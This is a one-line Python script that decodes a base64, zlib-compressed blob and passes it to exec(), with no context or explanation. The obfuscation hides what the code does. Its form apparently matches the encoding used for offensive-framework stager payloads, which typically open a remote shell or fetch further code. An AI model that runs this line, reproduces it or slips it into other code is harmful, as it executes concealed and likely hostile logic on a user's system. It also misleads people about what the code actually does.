exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENX29JdrCDiQUQEd2+yLG06ammahCSrVfG/25BFGGZ4M2/efAyTNS5gb+QIgX+roeNd66EquA/uKAMPwwTo1Tg840Fj1+o3oKucbVAW3NfiM9+kZpECveAnvH26fThsd893N48s8oQ0WoMMlJLVZS2qxUpRrglf53XNIqVz0I4og1mCDVE7DhdeAVhaMqSatJM4atvKkZLre8K9cCA/aMHYS75HfXPCiqHP90EBVqBpz67UItef/VfPU5ohmEHSeLboQZrJOvCepg+IripisofI5D/Ek43/ZegP5dhfGg==')[0])))